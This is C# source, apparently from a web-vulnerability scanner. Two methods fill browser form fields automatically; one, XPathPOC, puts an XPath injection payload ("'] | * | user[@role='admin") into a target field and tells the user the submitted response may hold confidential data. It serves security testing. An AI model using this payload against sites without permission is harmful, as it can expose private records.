public void FillInForm(string Expression) { this.mainfrm.DisplayProgress("Filling Forms..."); Expression = Expression.Replace("&", "&"); Expression = HttpUtility.UrlDecode(Expression, this.mainfrm.CurrentSite.WebEncoding); string[] array = Expression.Split(new char[] { '&' }); for (int j = 0; j < array.Length; j++) { string str = array[j]; string[] paraNameValue = WebSite.GetParaNameValue(str, '='); try { this.WCRBrowser.Document.All[paraNameValue[0]].SetAttribute("value", GlobalObject.unescape(paraNameValue[1])); } catch { } HtmlWindowCollection frames = this.WCRBrowser.Document.Window.Frames; for (int i = 0; i < frames.Count; i++) { try { this.WCRBrowser.Document.Window.Frames[i].Document.All[paraNameValue[0]].SetAttribute("value", GlobalObject.unescape(paraNameValue[1])); } catch { } } } this.mainfrm.DisplayProgress("Done"); }
public void XPathPOC(string RefURL, string XPathForm, string Parameter) { this.mainfrm.NavigatePage(RefURL, RequestType.GET, ""); string[] paraNameValue = WebSite.GetParaNameValue(Parameter, '='); string str = paraNameValue[0]; string expression = paraNameValue[1]; string[] strArray2 = new string[2]; if (XPathForm.IndexOf('^') > 0) { strArray2 = WebSite.GetParaNameValue(XPathForm, '^'); } else { if (XPathForm.IndexOf('?') <= 0) { return; } strArray2 = WebSite.GetParaNameValue(XPathForm, '?'); } string[] strArray3 = strArray2[1].Split(new char[] { '&' }); MessageBox.Show("* It Will Open The XPath Page And Fill In Input Fields Automatically! \r\n* When Page Load Completed, Click OK To Continue!", "Information", MessageBoxButtons.OK, MessageBoxIcon.Asterisk); this.mainfrm.DisplayProgress("Preparing XPath Data..."); foreach (HtmlElement element in this.WCRBrowser.Document.All) { for (int i = 0; i < strArray3.Length; i++) { string[] strArray4 = WebSite.GetParaNameValue(strArray3[i], '='); if (element.Name.Equals(strArray4[0])) { element.SetAttribute("value", GlobalObject.unescape(WebSite.RemoveTestInput(strArray4[1]))); } } if (element.Name.Equals(str)) { element.SetAttribute("value", GlobalObject.unescape(WebSite.RemoveTestInput(expression) + "%27] | * | user[@role=%27admin")); } } this.mainfrm.DisplayProgress("Done"); MessageBox.Show("* XPath Data Filled OK, You Can View Or Change It Now!\r\n* Then Click Button To Submit The Form Manually! \r\n* You Will Get The Response Possibly Include Confidential Data!", "Information", MessageBoxButtons.OK, MessageBoxIcon.Asterisk); }